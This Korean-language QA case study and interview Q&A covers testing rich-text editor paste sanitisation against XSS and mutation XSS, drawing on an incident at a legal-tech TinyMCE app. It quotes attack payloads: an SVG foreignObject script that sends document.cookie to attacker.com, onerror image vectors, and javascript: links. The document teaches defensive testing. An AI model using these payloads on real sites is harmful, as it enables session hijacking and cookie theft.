배경: 리치 텍스트 편집기(RTEs)는 콘텐츠 관리 시스템에서 보편적이지만, 이는 중요한 공격 표면을 나타냅니다. 사용자가 Microsoft Word 또는 Google Docs에서 콘텐츠를 복사하면 클립보드에는 독점 메타데이터, 인라인 스타일 및 SVG 태그나 CSS 표현식에 숨겨진 잠재적으로 악의적인 페이로드가 포함된 리치 HTML이 포함됩니다. 핵심 문제는 단순한 정화가 가시적인 형식을 제거할 수 있지만 실행 가능한 스크립트를 놓치는 경우가 있거나, 반대로 과도하게 정화할 경우 복잡한 테이블과 같은 합법적인 의미 구조를 파괴할 수 있다는 점입니다. 체계적인 수동 테스트 방법론은 보안(XSS 없음)과 충실성(구조가 유지됨)을 모두 검증해야 합니다.
해결책: 세 가지 단계의 클립보드 공격 프로토콜을 구현합니다:
벡터 준비: <foreignObject> 내에 스크립트를 포함하는 SVG를 포함하여, 레거시 IE를 위한 CSS behavior: url(#default#VML), 잘못된 HTML5 태그 설계 (예: <noscript><img src=x onerror=alert(1)></noscript>)를 포함한 붙여넣기 페이로드 라이브러리를 큐레이션합니다.
크로스 엔진 붙여넣기 시뮬레이션: (입력이 아닌) Word(변경 사항 추적, 댓글 및 포함된 Excel 객체와 함께), Google Docs(제안된 편집 및 포함된 도면과 함께) 및 원시 HTML(브라우저 개발자 도구에서 복사)에서 실제 복사-붙여넣기 작업을 수행합니다. 각각이 클립보드 MIME 유형(text/html 대 application/rtf)을 다르게 처리하므로 Chrome, Safari, Firefox, Edge에서 각각 테스트합니다.
상태 검증: 붙여넣기 후, DevTools를 통해 DOM을 검사하여 on* 이벤트 핸들러, javascript: URL 및 <script> 태그가 없는지 확인하며, 의미 있는 요소(<thead>, <colgroup>, 중첩 목록)가 온전하게 유지되고 있는지 확인합니다. 그런 다음 콘텐츠를 저장하고 페이지를 새로 고친 후, 직렬화된 HTML을 다시 확인하여 브라우저 파서가 재렌더링 중에 스크립트를 되살리는 변형 XSS를 감지합니다.
문제: 법률 기술 스타트업이 TinyMCE를 사용하여 계약 검토 애플리케이션을 개발했으며, 변호사들이 Microsoft Word에서 조항을 붙여넣었습니다. 보안 감사에서 공급업체 로고가 포함된 계약(SVG 형식)이 검토 대시보드에서 임의의 JavaScript를 실행하고 있는 사실이 밝혀졌습니다. SVG 파일 안에 <foreignObject> 태그 내 <script>fetch('https://attacker.com?cookie='+document.cookie)</script>가 포함되어 있었습니다. 편집기는 이를 무해한 이미지로 표시했지만, PostgreSQL 데이터베이스에 저장된 원시 HTML은 보조 정화 없이 React에서 dangerouslySetInnerHTML을 사용하여 읽기 전용 보기에서 실행되었습니다.
고려된 해결책:
해결책 A: 모든 HTML을 제거하고 일반 텍스트로 변환합니다. 장점: 절대적인 보안 보장; XSS 불가능. 단점: 변호사들이 계약 하위 조항의 들여쓰기, 위험 평가를 위한 색상 강조, 수수료 일정의 테이블 구조와 같은 중요한 형식을 잃었습니다. 이것은 애플리케이션을 법률 워크플로에 사용할 수 없게 만들어 즉각적인 사용자를 거부했습니다.
해결책 B: 클라이언트 측 DOMPurify만을 사용하여 느슨한 구성으로 신뢰합니다. 장점: 사용자 경험과 형식을 보존; 구현이 간단합니다. 단점: 클라이언트 측 정화는 악의적인 페이로드로 직접 REST API를 호출하여 편집기를 완전히 우회할 수 있습니다. 또한 DOMPurify의 기본 설정은 특정 Android WebView 버전에서 실행되는 SVG 태그 및 데이터 속성을 허용합니다.
해결책 C: 즉각적인 피드백을 위한 적극적인 클라이언트 측 정화와 필요한 법적 형식을 허용하는 엄격한 정책으로 OWASP Java HTML Sanitizer를 사용하는 서버 측 정화를 결합한 방어 심화 구현. 장점: API 수준에서 우회 시도를 잡습니다; 스크립트를 무력화하고 필요한 법적 형식을 허용합니다. 단점: 두 가지 정책 구성을 유지해야 하며(프론트엔드와 백엔드); 100페이지 이상의 계약 처리 시 성능 저하 위험; 정책 불일치 시 "동의 대화상자"가 발생할 수 있습니다.
선택된 해결책: 우리는 해결책 C를 선택하고 붙여넣기 작업을 위해 특별히 수동 QA 점검을 추가했습니다. QA 팀은 SVG 애니메이션 및 MathML 컨테이너를 포함한 75개 이상의 CSP 우회 벡터를 포함하는 "악성 클립보드 스위트"를 작성했습니다. 그들은 DOMPurify의 ALLOWED_URI_REGEXP가 HTML 엔티티로 인코딩된 javascript: URL을 허용하고 있음을 발견했습니다. 그들은 정화기를 구성하여 모든 SVG를 정적 <img> 태그와 Base64 인코딩으로 평탄화하고 모든 대화형 요소를 제거했습니다.
결과: 이 취약점은 생산 출시 전에 패치되었습니다. 이 방법론은 Safari의 리더 모드에서 실행 가능한 스크립트로 변형된 두 개의 추가 mXSS 벡터를 발견했습니다. 법률 팀은 전체 형식 유지 능력을 보유했으며, 이후 침투 테스트에서는 붙여넣기 파이프라인에서 어떤 주입 벡터도 발견되지 않았습니다.
**브라우저의 파서가 삽입 후 정화된 문자열을 수정하여 실행 가능한 스크립트를 다시 생성할 때 **변형 XSS (mXSS)를 어떻게 감지합니까?
많은 후보자들은 편집기의 "소스 보기" 또는 DevTools를 사용하여 붙여넣기 직후 HTML을 검사합니다. 그러나 mXSS 공격은 정화된 문자열이 innerHTML에 할당되고, 브라우저가 이를 파싱하며 결과 DOM이 파서 정규화로 인해 원래 문자열과 다를 때 발생합니다(예: <noscript><img title="--><script>... 변형). 올바른 접근 방식은 왕복 테스트를 수행하는 것입니다: 삽입 후 element.innerHTML을 사용하여 DOM을 문자열로 직렬화한 다음 예상 정화된 출력과 비교합니다. 이 직렬화 후에 새로운 <script> 태그나 이벤트 핸들러가 나타나면 정화기가 취약한 것입니다. 또한 지원되는 경우 IE11에서 구체적으로 테스트하십시오. 이의 잘못된 테이블에 대한 파서 동작은 Blink 또는 Gecko와 상당히 다릅니다.
편집기에서 콘텐츠가 올바르게 및 안전하게 붙여넣기되지만, 동일한 콘텐츠가 나중에 dangerouslySetInnerHTML을 통해 읽기 전용 React 보기로 로드할 때 보안 검증에 실패할 수 있는 이유는 무엇입니까?
후보자들은 종종 "문맥 정화 붕괴"를 놓칩니다. 리치 텍스트 편집기는 편집 문맥을 위해 정화하지만, 보기 문맥은 다른 React 버전, 콘텐츠 보안 정책 헤더 또는 내용을 재파싱하는 추가 JavaScript 라이브러리를 사용할 수 있습니다. 답은 전체 수명 주기를 통해 저장된 콘텐츠를 검증해야 한다는 것입니다: 붙여넣기 → API에 저장 → API에서 검색 → 읽기 전용 보기에서 렌더링합니다. 특히 데이터베이스 저장 중 <가 &lt;로 바뀌는 이중 인코딩 문제나, 편집기 UTF-8 처리와 데이터베이스 정렬 간의 유니코드 정규화 차이를 확인하세요. Word가 자동으로 대체하는 스마트 따옴표(곡선따옴표) 및 em 대시가 포함된 페이로드로 테스트하여 데이터베이스 UTF-8MB4 구성이 다중 바이트 문자를 잘라내지 않는지, 정화 경계가 깨지지 않도록 하십시오.
애플리케이션이 Markdown 기반 편집기(예: CKEditor 5와 Markdown 출력)를 사용하고 원시 HTML 저장 대신 수동으로 정화 동작을 검증하려면 어떻게 해야 합니까?
이것은 형식 변환 위험에 대한 이해를 시험합니다. 편집기가 HTML을 Markdown으로 변환할 때(예: Turndown을 통해) 악의적인 페이로드가 Markdown에 해당하지 않고 HTML 속성에 숨길 수 있습니다. 제대로 제거되지 않거나 클릭 시 실행되는 링크 참조로 변환될 수 있습니다. 올바른 방법론은 다음을 포함합니다: (1) 악성 HTML을 편집기에 붙여넣습니다, (2) 위험한 속성이 사라졌는지 확인하기 위해 Markdown 소스 보기로 전환합니다(단순히 시각적으로 숨겨진 것이 아님), (3) (지원되는 경우) 다시 HTML로 변환하여 왕복이 스크립트를 되살리지 않는지 확인하고, (4) Markdown 링크 구문 [text](javascript:alert(1))가 파서의 링크 유효성 검사 정규 표현식에서 명시적으로 차단되는지 확인합니다, 렌더러에서만 차단되지 않아야 합니다. 또한, Markdown 파서를 깨뜨릴 수 있는 HTML 주석 <!-- -->가 제거되어 민감한 서버 측 데이터가 누출되는 것을 방지합니다.